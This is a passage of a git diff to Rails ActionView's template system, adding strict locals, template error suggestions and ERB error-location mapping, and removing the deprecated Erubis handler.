+    #   <%# locals: (title: "Default title", comment_count: 0) %>
+    #
+    # Strict locals are useful for validating template arguments and for
+    # specifying defaults.
+    def strict_locals!
+      if @strict_locals == NONE
+        self.source.sub!(STRICT_LOCALS_REGEX, "")
+        @strict_locals = $1&.rstrip
+
+        return if @strict_locals.nil? # Magic comment not found
+
+        @strict_locals = "**nil" if @strict_locals.blank?
+      end
+
+      @strict_locals
+    end
+
+    # Returns whether a template is using strict locals.
+    def strict_locals?
+      strict_locals!
+    end
+
+    # Exceptions are marshalled when using the parallel test runner with DRb, so we need
+    # to ensure that references to the template object can be marshalled as well. This means forgoing
+    # the marshalling of the compiler mutex and instantiating that again on unmarshalling.
+    def marshal_dump # :nodoc:
+      [ @source, @identifier, @handler, @compiled, @locals, @virtual_path, @format, @variant ]
+    end
+
+    def marshal_load(array) # :nodoc:
+      @source, @identifier, @handler, @compiled, @locals, @virtual_path, @format, @variant = *array
+      @compile_mutex = Mutex.new
+    end
+
+    def method_name # :nodoc:
+      @method_name ||= begin
+        m = +"_#{identifier_method_name}__#{@identifier.hash}_#{__id__}"
+        m.tr!("-", "_")
+        m
+      end
+    end
+
     private
+      def find_node_by_id(node, node_id)
+        return node if node.node_id == node_id
+
+        node.children.grep(node.class).each do |child|
+          found = find_node_by_id(child, node_id)
+          return found if found
+        end
+
+        false
+      end
 
       # Compile a template. This method ensures a template is compiled
       # just once and removes the source after it is compiled.
@@ -247,46 +427,40 @@ def compile!(view)
           # re-compilation
           return if @compiled
 
-          if view.is_a?(ActionView::CompiledTemplates)
-            mod = ActionView::CompiledTemplates
-          else
-            mod = view.singleton_class
-          end
+          mod = view.compiled_method_container
 
           instrument("!compile_template") do
             compile(mod)
           end
 
-          # Just discard the source if we have a virtual path. This
-          # means we can get the template back.
-          @source = nil if @virtual_path
           @compiled = true
         end
       end
 
-      # Among other things, this method is responsible for properly setting
-      # the encoding of the compiled template.
-      #
-      # If the template engine handles encodings, we send the encoded
-      # String to the engine without further processing. This allows
-      # the template engine to support additional mechanisms for
-      # specifying the encoding. For instance, ERB supports <%# encoding: %>
-      #
-      # Otherwise, after we figure out the correct encoding, we then
-      # encode the source into <tt>Encoding.default_internal</tt>.
-      # In general, this means that templates will be UTF-8 inside of Rails,
-      # regardless of the original source encoding.
-      def compile(mod)
-        encode!
-        code = @handler.call(self)
+      # This method compiles the source of the template. The compilation of templates
+      # involves setting strict_locals! if applicable, encoding the template, and setting
+      # frozen string literal.
+      def compiled_source
+        set_strict_locals = strict_locals!
+        source = encode!
+        code = @handler.call(self, source)
+
+        method_arguments =
+          if set_strict_locals
+            if set_strict_locals.include?("&")
+              "local_assigns, output_buffer, #{set_strict_locals}"
+            else
+              "local_assigns, output_buffer, #{set_strict_locals}, &_"
+            end
+          else
+            "local_assigns, output_buffer, &_"
+          end
 
         # Make sure that the resulting String to be eval'd is in the
         # encoding of the code
-        source = <<-end_src
-          def #{method_name}(local_assigns, output_buffer)
-            _old_virtual_path, @virtual_path = @virtual_path, #{@virtual_path.inspect};_old_output_buffer = @output_buffer;#{locals_code};#{code}
-          ensure
-            @virtual_path, @output_buffer = _old_virtual_path, _old_output_buffer
+        source = +<<-end_src
+          def #{method_name}(#{method_arguments})
+            @virtual_path = #{@virtual_path.inspect};#{locals_code};#{code}
           end
         end_src
 
@@ -301,11 +475,75 @@ def #{method_name}(local_assigns, output_buffer)
         # handler is valid in the default_internal. This is for handlers
         # that handle encoding but screw up
         unless source.valid_encoding?
-          raise WrongEncodingError.new(@source, Encoding.default_internal)
+          raise WrongEncodingError.new(source, Encoding.default_internal)
+        end
+
+        if Template.frozen_string_literal
+          "# frozen_string_literal: true\n#{source}"
+        else
+          source
+        end
+      end
+
+      # Among other things, this method is responsible for properly setting
+      # the encoding of the compiled template.
+      #
+      # If the template engine handles encodings, we send the encoded
+      # String to the engine without further processing. This allows
+      # the template engine to support additional mechanisms for
+      # specifying the encoding. For instance, ERB supports <%# encoding: %>
+      #
+      # Otherwise, after we figure out the correct encoding, we then
+      # encode the source into <tt>Encoding.default_internal</tt>.
+      # In general, this means that templates will be UTF-8 inside of Rails,
+      # regardless of the original source encoding.
+      def compile(mod)
+        begin
+          mod.module_eval(compiled_source, identifier, offset)
+        rescue SyntaxError
+          # Account for when code in the template is not syntactically valid; e.g. if we're using
+          # ERB and the user writes <%= foo( %>, attempting to call a helper `foo` and interpolate
+          # the result into the template, but missing an end parenthesis.
+          raise SyntaxErrorInTemplate.new(self, encode!)
+        end
+
+        return unless strict_locals?
+
+        parameters = mod.instance_method(method_name).parameters
+        parameters -= [[:req, :local_assigns], [:req, :output_buffer]]
+
+        # Check compiled method parameters to ensure that only kwargs
+        # were provided as strict locals, preventing `locals: (foo, *foo)` etc
+        # and allowing `locals: (foo:)`.
+        non_kwarg_parameters = parameters.select do |parameter|
+          ![:keyreq, :key, :keyrest, :nokey].include?(parameter[0])
+        end
+
+        non_kwarg_parameters.pop if non_kwarg_parameters.last == %i(block _)
+
+        unless non_kwarg_parameters.empty?
+          mod.undef_method(method_name)
+
+          raise ArgumentError.new(
+            "#{non_kwarg_parameters.map { |_, name| "`#{name}`" }.to_sentence} set as non-keyword " \
+            "#{'argument'.pluralize(non_kwarg_parameters.length)} for #{short_identifier}. " \
+            "Locals can only be set as keyword arguments."
+          )
+        end
+
+        unless parameters.any? { |type, _| type == :keyrest }
+          parameters.map!(&:last)
+          parameters.sort!
+          @strict_local_keys = parameters.freeze
         end
+      end
 
-        mod.module_eval(source, identifier, 0)
-        ObjectSpace.define_finalizer(self, Finalizer[method_name, mod])
+      def offset
+        if Template.frozen_string_literal
+          -1
+        else
+          0
+        end
       end
 
       def handle_render_error(view, e)
@@ -313,43 +551,36 @@ def handle_render_error(view, e)
           e.sub_template_of(self)
           raise e
         else
-          template = self
-          unless template.source
-            template = refresh(view)
-            template.encode!
-          end
-          raise Template::Error.new(template)
+          raise Template::Error.new(self)
         end
       end
 
+      RUBY_RESERVED_KEYWORDS = ::ActiveSupport::Delegation::RUBY_RESERVED_KEYWORDS
+      private_constant :RUBY_RESERVED_KEYWORDS
+
       def locals_code
+        return "" if strict_locals?
+
         # Only locals with valid variable names get set directly. Others will
         # still be available in local_assigns.
-        locals = @locals - Module::RUBY_RESERVED_KEYWORDS
-        locals = locals.grep(/\A@?(?![A-Z0-9])(?:[[:alnum:]_]|[^\0-\177])+\z/)
+        locals = @locals - RUBY_RESERVED_KEYWORDS
 
-        # Double assign to suppress the dreaded 'assigned but unused variable' warning
-        locals.each_with_object("") { |key, code| code << "#{key} = #{key} = local_assigns[:#{key}];" }
-      end
+        locals = locals.grep(/\A(?![A-Z0-9])(?:[[:alnum:]_]|[^\0-\177])+\z/)
 
-      def method_name
-        @method_name ||= begin
-          m = "_#{identifier_method_name}__#{@identifier.hash}_#{__id__}"
-          m.tr!("-".freeze, "_".freeze)
-          m
-        end
+        # Assign for the same variable is to suppress unused variable warning
+        locals.each_with_object(+"") { |key, code| code << "#{key} = local_assigns[:#{key}]; #{key} = #{key};" }
       end
 
       def identifier_method_name
-        inspect.tr("^a-z_".freeze, "_".freeze)
+        short_identifier.tr("^a-z_", "_")
       end
 
       def instrument(action, &block) # :doc:
-        ActiveSupport::Notifications.instrument("#{action}.action_view".freeze, instrument_payload, &block)
+        ActiveSupport::Notifications.instrument("#{action}.action_view", instrument_payload, &block)
       end
 
       def instrument_render_template(&block)
-        ActiveSupport::Notifications.instrument("!render_template.action_view".freeze, instrument_payload, &block)
+        ActiveSupport::Notifications.instrument("!render_template.action_view", instrument_payload, &block)
       end
 
       def instrument_payload
diff --git a/actionview/lib/action_view/template/error.rb b/actionview/lib/action_view/template/error.rb
index cc90477190fef..c5b067d5b95c7 100644
--- a/actionview/lib/action_view/template/error.rb
+++ b/actionview/lib/action_view/template/error.rb
@@ -1,17 +1,17 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/enumerable"
+require "active_support/syntax_error_proxy"
 
 module ActionView
   # = Action View Errors
-  class ActionViewError < StandardError #:nodoc:
-  end
-
-  class EncodingError < StandardError #:nodoc:
+  class ActionViewError < StandardError # :nodoc:
   end
 
-  class MissingRequestError < StandardError #:nodoc:
+  class EncodingError < StandardError # :nodoc:
   end
 
-  class WrongEncodingError < EncodingError #:nodoc:
+  class WrongEncodingError < EncodingError # :nodoc:
     def initialize(string, encoding)
       @string, @encoding = string, encoding
     end
@@ -27,12 +27,29 @@ def message
     end
   end
 
-  class MissingTemplate < ActionViewError #:nodoc:
-    attr_reader :path
+  class StrictLocalsError < ArgumentError # :nodoc:
+    def initialize(argument_error, template)
+      message = argument_error.message.
+                  gsub("unknown keyword:", "unknown local:").
+                  gsub("missing keyword:", "missing local:").
+                  gsub("no keywords accepted", "no locals accepted").
+                  concat(" for #{template.short_identifier}")
+      super(message)
+    end
+  end
+
+  class MissingTemplate < ActionViewError # :nodoc:
+    attr_reader :path, :paths, :prefixes, :partial
 
     def initialize(paths, path, prefixes, partial, details, *)
+      if partial && path.present?
+        path = path.sub(%r{([^/]+)$}, "_\\1")
+      end
+
       @path = path
-      prefixes = Array(prefixes)
+      @paths = paths
+      @prefixes = Array(prefixes)
+      @partial = partial
       template_type = if partial
         "partial"
       elsif /layouts/i.match?(path)
@@ -41,34 +58,135 @@ def initialize(paths, path, prefixes, partial, details, *)
         "template"
       end
 
-      if partial && path.present?
-        path = path.sub(%r{([^/]+)$}, "_\\1")
-      end
-      searched_paths = prefixes.map { |prefix| [prefix, path].join("/") }
+      searched_paths = @prefixes.map { |prefix| [prefix, path].join("/") }
 
-      out  = "Missing #{template_type} #{searched_paths.join(", ")} with #{details.inspect}. Searched in:\n"
+      out  = "Missing #{template_type} #{searched_paths.join(", ")} with #{details.inspect}.\n\nSearched in:\n"
       out += paths.compact.map { |p| "  * #{p.to_s.inspect}\n" }.join
       super out
     end
+
+    if defined?(DidYouMean::Correctable) && defined?(DidYouMean::Jaro)
+      include DidYouMean::Correctable
+
+      class Results # :nodoc:
+        Result = Struct.new(:path, :score)
+
+        def initialize(size)
+          @size = size
+          @results = []
+        end
+
+        def to_a
+          @results.map(&:path)
+        end
+
+        def should_record?(score)
+          if @results.size < @size
+            true
+          else
+            score < @results.last.score
+          end
+        end
+
+        def add(path, score)
+          if should_record?(score)
+            @results << Result.new(path, score)
+            @results.sort_by!(&:score)
+            @results.pop if @results.size > @size
+          end
+        end
+      end
+
+      # Apps may have thousands of candidate templates so we attempt to
+      # generate the suggestions as efficiently as possible.
+      # First we split templates into prefixes and basenames, so that those can
+      # be matched separately.
+      def corrections
+        candidates = paths.flat_map(&:all_template_paths).uniq
+
+        if partial
+          candidates.select!(&:partial?)
+        else
+          candidates.reject!(&:partial?)
+        end
+
+        # Group by possible prefixes
+        files_by_dir = candidates.group_by(&:prefix)
+        files_by_dir.transform_values! do |files|
+          files.map do |file|
+            # Remove prefix
+            File.basename(file.to_s)
+          end
+        end
+
+        # No suggestions if there's an exact match, but wrong details
+        if prefixes.any? { |prefix| files_by_dir[prefix]&.include?(path) }
+          return []
+        end
+
+        cached_distance = Hash.new do |h, args|
+          h[args] = -DidYouMean::Jaro.distance(*args)
+        end
+
+        results = Results.new(6)
+
+        files_by_dir.keys.index_with do |dirname|
+          prefixes.map do |prefix|
+            cached_distance[[prefix, dirname]]
+          end.min
+        end.sort_by(&:last).each do |dirname, dirweight|
+          # If our directory's score makes it impossible to find a better match
+          # we can prune this search branch.
+          next unless results.should_record?(dirweight - 1.0)
+
+          files = files_by_dir[dirname]
+
+          files.each do |file|
+            fileweight = cached_distance[[path, file]]
+            score = dirweight + fileweight
+
+            results.add(File.join(dirname, file), score)
+          end
+        end
+
+        if partial
+          results.to_a.map { |res| res.sub(%r{_([^/]+)\z}, "\\1") }
+        else
+          results.to_a
+        end
+      end
+    end
   end
 
   class Template
     # The Template::Error exception is raised when the compilation or rendering of the template
     # fails. This exception then gathers a bunch of intimate details and uses it to report a
     # precise exception message.
-    class Error < ActionViewError #:nodoc:
+    class Error < ActionViewError # :nodoc:
       SOURCE_CODE_RADIUS = 3
 
       # Override to prevent #cause resetting during re-raise.
       attr_reader :cause
 
+      attr_reader :template
+
       def initialize(template)
         super($!.message)
-        set_backtrace($!.backtrace)
         @cause = $!
+        if @cause.is_a?(SyntaxError)
+          @cause = ActiveSupport::SyntaxErrorProxy.new(@cause)
+        end
         @template, @sub_templates = template, nil
       end
 
+      def backtrace
+        @cause.backtrace
+      end
+
+      def backtrace_locations
+        @cause.backtrace_locations
+      end
+
       def file_name
         @template.identifier
       end
@@ -82,19 +200,19 @@ def sub_template_message
         end
       end
 
-      def source_extract(indentation = 0, output = :console)
-        return unless num = line_number
+      def source_extract(indentation = 0)
+        return [] unless num = line_number
         num = num.to_i
 
-        source_code = @template.source.split("\n")
+        source_code = @template.encode!.split("\n")
 
         start_on_line = [ num - SOURCE_CODE_RADIUS - 1, 0 ].max
         end_on_line   = [ num + SOURCE_CODE_RADIUS - 1, source_code.length].min
 
         indent = end_on_line.to_s.size + indentation
-        return unless source_code = source_code[start_on_line..end_on_line]
+        return [] unless source_code = source_code[start_on_line..end_on_line]
 
-        formatted_code_for(source_code, start_on_line, indent, output)
+        formatted_code_for(source_code, start_on_line, indent)
       end
 
       def sub_template_of(template_path)
@@ -110,12 +228,11 @@ def line_number
           end
       end
 
-      def annoted_source_code
+      def annotated_source_code
         source_extract(4)
       end
 
       private
-
         def source_location
           if line_number
             "on line ##{line_number} of "
@@ -124,19 +241,39 @@ def source_location
           end + file_name
         end
 
-        def formatted_code_for(source_code, line_counter, indent, output)
-          start_value = (output == :html) ? {} : []
-          source_code.inject(start_value) do |result, line|
+        def formatted_code_for(source_code, line_counter, indent)
+          indent_template = "%#{indent}s: %s"
+          source_code.map do |line|
             line_counter += 1
-            if output == :html
-              result.update(line_counter.to_s => "%#{indent}s %s\n" % ["", line])
-            else
-              result << "%#{indent}s: %s" % [line_counter, line]
-            end
+            indent_template % [line_counter, line]
           end
         end
     end
   end
 
   TemplateError = Template::Error
+
+  class SyntaxErrorInTemplate < TemplateError # :nodoc:
+    def initialize(template, offending_code_string)
+      @offending_code_string = offending_code_string
+      super(template)
+    end
+
+    def message
+      if template.is_a?(Template::Inline)
+        <<~MESSAGE
+          Encountered a syntax error while rendering template: check #{@offending_code_string}
+        MESSAGE
+      else
+        "Encountered a syntax error while rendering template located at: #{template.short_identifier}"
+      end
+    end
+
+    def annotated_source_code
+      @offending_code_string.split("\n").map.with_index(1) { |line, index|
+        indentation = " " * 4
+        "#{index}:#{indentation}#{line}"
+      }
+    end
+  end
 end
diff --git a/actionview/lib/action_view/template/handlers.rb b/actionview/lib/action_view/template/handlers.rb
index f4301f6f07ce0..931a412e7b6a4 100644
--- a/actionview/lib/action_view/template/handlers.rb
+++ b/actionview/lib/action_view/template/handlers.rb
@@ -1,7 +1,9 @@
-module ActionView #:nodoc:
-  # = Action View Template Handlers
-  class Template
-    module Handlers #:nodoc:
+# frozen_string_literal: true
+
+module ActionView # :nodoc:
+  class Template # :nodoc:
+    # = Action View Template Handlers
+    module Handlers # :nodoc:
       autoload :Raw, "action_view/template/handlers/raw"
       autoload :ERB, "action_view/template/handlers/erb"
       autoload :Html, "action_view/template/handlers/html"
@@ -12,7 +14,7 @@ def self.extended(base)
         base.register_template_handler :erb, ERB.new
         base.register_template_handler :html, Html.new
         base.register_template_handler :builder, Builder.new
-        base.register_template_handler :ruby, :source.to_proc
+        base.register_template_handler :ruby, lambda { |_, source| source }
       end
 
       @@template_handlers = {}
diff --git a/actionview/lib/action_view/template/handlers/builder.rb b/actionview/lib/action_view/template/handlers/builder.rb
index e99b921cb773b..4ae350fbfa796 100644
--- a/actionview/lib/action_view/template/handlers/builder.rb
+++ b/actionview/lib/action_view/template/handlers/builder.rb
@@ -1,20 +1,19 @@
+# frozen_string_literal: true
+
 module ActionView
   module Template::Handlers
     class Builder
-      # Default format used by Builder.
-      class_attribute :default_format
-      self.default_format = :xml
+      class_attribute :default_format, default: :xml
 
-      def call(template)
+      def call(template, source)
         require_engine
-        "xml = ::Builder::XmlMarkup.new(:indent => 2);" \
-          "self.output_buffer = xml.target!;" +
-          template.source +
-          ";xml.target!;"
+        # the double assignment is to silence "assigned but unused variable" warnings
+        "xml = xml = ::Builder::XmlMarkup.new(indent: 2, target: output_buffer.raw);" \
+          "#{source};" \
+          "output_buffer.to_s"
       end
 
       private
-
         def require_engine # :doc:
           @required ||= begin
             require "builder"
diff --git a/actionview/lib/action_view/template/handlers/erb.rb b/actionview/lib/action_view/template/handlers/erb.rb
index 58c7fd1a885b4..2272bb4bc19ec 100644
--- a/actionview/lib/action_view/template/handlers/erb.rb
+++ b/actionview/lib/action_view/template/handlers/erb.rb
@@ -1,29 +1,33 @@
+# frozen_string_literal: true
+
+require "strscan"
+require "active_support/core_ext/erb/util"
+
 module ActionView
   class Template
     module Handlers
-      autoload :Erubis, "action_view/template/handlers/erb/deprecated_erubis"
-
       class ERB
         autoload :Erubi, "action_view/template/handlers/erb/erubi"
-        autoload :Erubis, "action_view/template/handlers/erb/erubis"
 
         # Specify trim mode for the ERB compiler. Defaults to '-'.
         # See ERB documentation for suitable values.
-        class_attribute :erb_trim_mode
-        self.erb_trim_mode = "-"
+        class_attribute :erb_trim_mode, default: "-"
 
         # Default implementation used.
-        class_attribute :erb_implementation
-        self.erb_implementation = Erubi
+        class_attribute :erb_implementation, default: Erubi
 
         # Do not escape templates of these mime types.
-        class_attribute :escape_whitelist
-        self.escape_whitelist = ["text/plain"]
+        class_attribute :escape_ignore_list, default: ["text/plain"]
+
+        # Strip trailing newlines from rendered output
+        class_attribute :strip_trailing_newlines, default: false
 
         ENCODING_TAG = Regexp.new("\\A(<%#{ENCODING_FLAG}-?%>)[ \\t]*")
 
-        def self.call(template)
-          new.call(template)
+        LocationParsingError = Class.new(StandardError) # :nodoc:
+
+        def self.call(template, source)
+          new.call(template, source)
         end
 
         def supports_streaming?
@@ -34,30 +38,62 @@ def handles_encoding?
           true
         end
 
-        def call(template)
+        # Translate an error location returned by ErrorHighlight to the correct
+        # source location inside the template.
+        def translate_location(spot, _backtrace_location, source)
+          compiled = spot[:script_lines]
+          highlight = compiled[spot[:first_lineno] - 1]&.byteslice((spot[:first_column] - 1)...spot[:last_column])
+          return nil if highlight.blank?
+
+          source_lines = source.lines
+          lineno_delta = find_lineno_offset(compiled, source_lines, highlight, spot[:first_lineno])
+
+          tokens = ::ERB::Util.tokenize(source_lines[spot[:first_lineno] - lineno_delta - 1])
+          column_delta = find_offset(spot[:snippet], tokens, spot[:first_column])
+
+          spot[:first_lineno] -= lineno_delta
+          spot[:last_lineno] -= lineno_delta
+          spot[:first_column] -= column_delta
+          spot[:last_column] -= column_delta
+          spot[:script_lines] = source_lines
+
+          spot
+        rescue NotImplementedError, LocationParsingError
+          nil
+        end
+
+        def call(template, source)
           # First, convert to BINARY, so in case the encoding is
           # wrong, we can still find an encoding tag
           # (<%# encoding %>) inside the String using a regular
           # expression
-          template_source = template.source.dup.force_encoding(Encoding::ASCII_8BIT)
+          template_source = source.b
 
           erb = template_source.gsub(ENCODING_TAG, "")
           encoding = $2
 
-          erb.force_encoding valid_encoding(template.source.dup, encoding)
+          erb.force_encoding valid_encoding(source.dup, encoding)
 
           # Always make sure we return a String in the default_internal
           erb.encode!
 
-          self.class.erb_implementation.new(
-            erb,
-            escape: (self.class.escape_whitelist.include? template.type),
+          # Strip trailing newlines from the template if enabled
+          erb.chomp! if strip_trailing_newlines
+
+          options = {
+            escape: (self.class.escape_ignore_list.include? template.type),
             trim: (self.class.erb_trim_mode == "-")
-          ).src
+          }
+
+          if ActionView::Base.annotate_rendered_view_with_filenames && template.format == :html
+            options[:preamble] = "@output_buffer.safe_append='<!-- BEGIN #{template.short_identifier}\n-->';"
+            options[:postamble] = "@output_buffer.safe_append='<!-- END #{template.short_identifier} -->';@output_buffer"
+          end
+
+          self.class.erb_implementation.new(erb, options).src
         end
 
       private
-
         def valid_encoding(string, encoding)
           # If a magic encoding comment was found, tag the
           # String with this encoding. This is for a case
@@ -72,6 +108,82 @@ def valid_encoding(string, encoding)
           # Otherwise, raise an exception
           raise WrongEncodingError.new(string, string.encoding)
         end
+
+        # Return the offset between the error lineno and the source lineno.
+        # Searches in reverse from the backtrace lineno so we have a better
+        # chance of finding the correct line
+        #
+        # The compiled template is likely to be longer than the source.
+        # Use the difference between the compiled and source sizes to
+        # determine the earliest line that could contain the highlight.
+        def find_lineno_offset(compiled, source_lines, highlight, error_lineno)
+          first_index = error_lineno - 1 - compiled.size + source_lines.size
+          first_index = 0 if first_index < 0
+
+          last_index = error_lineno - 1
+          last_index = source_lines.size - 1 if last_index >= source_lines.size
+
+          last_index.downto(first_index) do |line_index|
+            next unless source_lines[line_index].include?(highlight)
+            return error_lineno - 1 - line_index
+          end
+
+          raise LocationParsingError, "Couldn't find code snippet"
+        end
+
+        # Find which token in the source template spans the byte range that
+        # contains the error_column, then return the offset compared to the
+        # original source template.
+        #
+        # Iterate consecutive pairs of CODE or TEXT tokens, requiring
+        # a match of the first token before matching either token.
+        #
+        # For example, if we want to find tokens A, B, C, we do the following:
+        # 1. Find a match for A: test error_column or advance scanner.
+        # 2. Find a match for B or A:
+        #   a. If B: start over with next token set (B, C).
+        #   b. If A: test error_column or advance scanner.
+        #   c. Otherwise: Advance 1 byte
+        #
+        # Prioritize matching the next token over the current token once
+        # a match for the current token has been found. This is to prevent
+        # the current token from looping past the next token if they both
+        # match (i.e. if the current token is a single space character).
+        def find_offset(compiled, source_tokens, error_column)
+          compiled = StringScanner.new(compiled)
+          offset_source_tokens(source_tokens).each_cons(2) do |(name, str, offset), (_, next_str, _)|
+            matched_str = false
+
+            until compiled.eos?
+              if matched_str && next_str && compiled.match?(next_str)
+                break
+              elsif compiled.match?(str)
+                matched_str = true
+
+                if name == :CODE && compiled.pos <= error_column && compiled.pos + str.bytesize >= error_column
+                  return compiled.pos - offset
+                end
+
+                compiled.pos += str.bytesize
+              else
+                compiled.pos += 1
+              end
+            end
+          end
+
+          raise LocationParsingError, "Couldn't find code snippet"
+        end
+
+        def offset_source_tokens(source_tokens)
+          source_offset = 0
+          with_offset = source_tokens.filter_map do |name, str|
+            result = [:CODE, str, source_offset] if name == :CODE || name == :PLAIN
+            result = [:TEXT, str, source_offset] if name == :TEXT
+            source_offset += str.bytesize
+            result
+          end
+          with_offset << [:EOS, nil, source_offset]
+        end
       end
     end
   end
diff --git a/actionview/lib/action_view/template/handlers/erb/deprecated_erubis.rb b/actionview/lib/action_view/template/handlers/erb/deprecated_erubis.rb
deleted file mode 100644
index 427ea20064006..0000000000000
--- a/actionview/lib/action_view/template/handlers/erb/deprecated_erubis.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-::ActiveSupport::Deprecation.warn("ActionView::Template::Handlers::Erubis is deprecated and will be removed from Rails 5.2. Switch to ActionView::Template::Handlers::ERB::Erubi instead.")
-
-module ActionView
-  class Template
-    module Handlers
-      Erubis = ERB::Erubis
-    end
-  end
-end
diff --git a/actionview/lib/action_view/template/handlers/erb/erubi.rb b/actionview/lib/action_view/template/handlers/erb/erubi.rb
index 755cc84015837..174acfe07e79b 100644
--- a/actionview/lib/action_view/template/handlers/erb/erubi.rb
+++ b/actionview/lib/action_view/template/handlers/erb/erubi.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "erubi"
 
 module ActionView
@@ -11,19 +13,19 @@ def initialize(input, properties = {})
 
             # Dup properties so that we don't modify argument
             properties = Hash[properties]
-            properties[:preamble]   = "@output_buffer = output_buffer || ActionView::OutputBuffer.new;"
-            properties[:postamble]  = "@output_buffer.to_s"
-            properties[:bufvar]     = "@output_buffer"
+
+            properties[:bufvar]     ||= "@output_buffer"
+            properties[:preamble]   ||= ""
+            properties[:postamble]  ||= "#{properties[:bufvar]}"
+
+            # Tell Erubi whether the template will be compiled with `frozen_string_literal: true`
+            properties[:freeze_template_literals] = !Template.frozen_string_literal
+
             properties[:escapefunc] = ""
 
             super
           end
 
-          def evaluate(action_view_erb_handler_context)
-            pr = eval("proc { #{@src} }", binding, @filename || "(erubi)")
-            action_view_erb_handler_context.instance_eval(&pr)
-          end
-
         private
           def add_text(text)
             return if text.empty?
@@ -31,30 +33,32 @@ def add_text(text)
             if text == "\n"
               @newline_pending += 1
             else
-              src << "@output_buffer.safe_append='"
-              src << "\n" * @newline_pending if @newline_pending > 0
-              src << text.gsub(/['\\]/, '\\\\\&')
-              src << "'.freeze;"
-
+              with_buffer do
+                src << ".safe_append='"
+                src << "\n" * @newline_pending if @newline_pending > 0
+                src << text.gsub(/['\\]/, '\\\\\&') << @text_end
+              end
               @newline_pending = 0
             end
           end
 
-          BLOCK_EXPR = /\s*((\s+|\))do|\{)(\s*\|[^|]*\|)?\s*\Z/
+          BLOCK_EXPR = /((\s|\))do|\{)(\s*\|[^|]*\|)?\s*\Z/
 
           def add_expression(indicator, code)
             flush_newline_if_pending(src)
 
-            if (indicator == "==") || @escape
-              src << "@output_buffer.safe_expr_append="
-            else
-              src << "@output_buffer.append="
-            end
+            with_buffer do
+              if (indicator == "==") || @escape
+                src << ".safe_expr_append="
+              else
+                src << ".append="
+              end
 
-            if BLOCK_EXPR.match?(code)
-              src << " " << code
-            else
-              src << "(" << code << ");"
+              if BLOCK_EXPR.match?(code)
+                src << " " << code
+              else
+                src << "(" << code << ")"
+              end
             end
           end
 
@@ -70,7 +74,7 @@ def add_postamble(_)
 
           def flush_newline_if_pending(src)
             if @newline_pending > 0
-              src << "@output_buffer.safe_append='#{"\n" * @newline_pending}'.freeze;"
+              with_buffer { src << ".safe_append='#{"\n" * @newline_pending}" << @text_end }
               @newline_pending = 0
             end
           end
diff --git a/actionview/lib/action_view/template/handlers/erb/erubis.rb b/actionview/lib/action_view/template/handlers/erb/erubis.rb
deleted file mode 100644
index f3c35e1aecc4d..0000000000000
--- a/actionview/lib/action_view/template/handlers/erb/erubis.rb
+++ /dev/null
@@ -1,81 +0,0 @@
-gem "erubis"
-require "erubis"
-
-module ActionView
-  class Template
-    module Handlers
-      class ERB
-        class Erubis < ::Erubis::Eruby
-          # :nodoc: all
-          def add_preamble(src)
-            @newline_pending = 0
-            src << "@output_buffer = output_buffer || ActionView::OutputBuffer.new;"
-          end
-
-          def add_text(src, text)
-            return if text.empty?
-
-            if text == "\n"
-              @newline_pending += 1
-            else
-              src << "@output_buffer.safe_append='"
-              src << "\n" * @newline_pending if @newline_pending > 0
-              src << escape_text(text)
-              src << "'.freeze;"
-
-              @newline_pending = 0
-            end
-          end
-
-          # Erubis toggles <%= and <%== behavior when escaping is enabled.
-          # We override to always treat <%== as escaped.
-          def add_expr(src, code, indicator)
-            case indicator
-            when "=="
-              add_expr_escaped(src, code)
-            else
-              super
-            end
-          end
-
-          BLOCK_EXPR = /\s*((\s+|\))do|\{)(\s*\|[^|]*\|)?\s*\Z/
-
-          def add_expr_literal(src, code)
-            flush_newline_if_pending(src)
-            if BLOCK_EXPR.match?(code)
-              src << "@output_buffer.append= " << code
-            else
-              src << "@output_buffer.append=(" << code << ");"
-            end
-          end
-
-          def add_expr_escaped(src, code)
-            flush_newline_if_pending(src)
-            if BLOCK_EXPR.match?(code)
-              src << "@output_buffer.safe_expr_append= " << code
-            else
-              src << "@output_buffer.safe_expr_append=(" << code << ");"
-            end
-          end
-
-          def add_stmt(src, code)
-            flush_newline_if_pending(src)
-            super
-          end
-
-          def add_postamble(src)
-            flush_newline_if_pending(src)
-            src << "@output_buffer.to_s"
-          end
-
-          def flush_newline_if_pending(src)
-            if @newline_pending > 0
-              src << "@output_buffer.safe_append='#{"\n" * @newline_pending}'.freeze;"
-              @newline_pending = 0
-            end
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/actionview/lib/action_view/template/handlers/html.rb b/actionview/lib/action_view/template/handlers/html.rb
index ccaa8d1469951..65857d8587cde 100644
--- a/actionview/lib/action_view/template/handlers/html.rb
+++ b/actionview/lib/action_view/template/handlers/html.rb
@@ -1,7 +1,9 @@
+# frozen_string_literal: true
+
 module ActionView
   module Template::Handlers
     class Html < Raw
-      def call(template)
+      def call(template, source)
         "ActionView::OutputBuffer.new #{super}"
       end
     end
diff --git a/actionview/lib/action_view/template/handlers/raw.rb b/actionview/lib/action_view/template/handlers/raw.rb
index e7519e94f9cb2..57ebb169fcad7 100644
--- a/actionview/lib/action_view/template/handlers/raw.rb
+++ b/actionview/lib/action_view/template/handlers/raw.rb
@@ -1,8 +1,10 @@
+# frozen_string_literal: true
+
 module ActionView
   module Template::Handlers
     class Raw
-      def call(template)
-        "#{template.source.inspect}.html_safe;"
+      def call(template, source)
+        "#{source.inspect}.html_safe;"
       end
     end
   end
diff --git a/actionview/lib/action_view/template/html.rb b/actionview/lib/action_view/template/html.rb
index 0ffae10432a1f..0d0529b8ff033 100644
--- a/actionview/lib/action_view/template/html.rb
+++ b/actionview/lib/action_view/template/html.rb
@@ -1,13 +1,14 @@
-module ActionView #:nodoc:
-  # = Action View HTML Template
-  class Template
-    class HTML #:nodoc:
-      attr_accessor :type
+# frozen_string_literal: true
 
-      def initialize(string, type = nil)
+module ActionView # :nodoc:
+  class Template # :nodoc:
+    # = Action View HTML Template
+    class HTML # :nodoc:
+      attr_reader :type
+
+      def initialize(string, type)
         @string = string.to_s
-        @type   = Types[type] || type if type
-        @type ||= Types[:html]
+        @type   = type
       end
 
       def identifier
@@ -24,8 +25,8 @@ def render(*args)
         to_str
       end
 
-      def formats
-        [@type.respond_to?(:ref) ? @type.ref : @type.to_s]
+      def format
+        @type
       end
     end
   end
diff --git a/actionview/lib/action_view/template/inline.rb b/actionview/lib/action_view/template/inline.rb
new file mode 100644
index 0000000000000..8a826a4006879
--- /dev/null
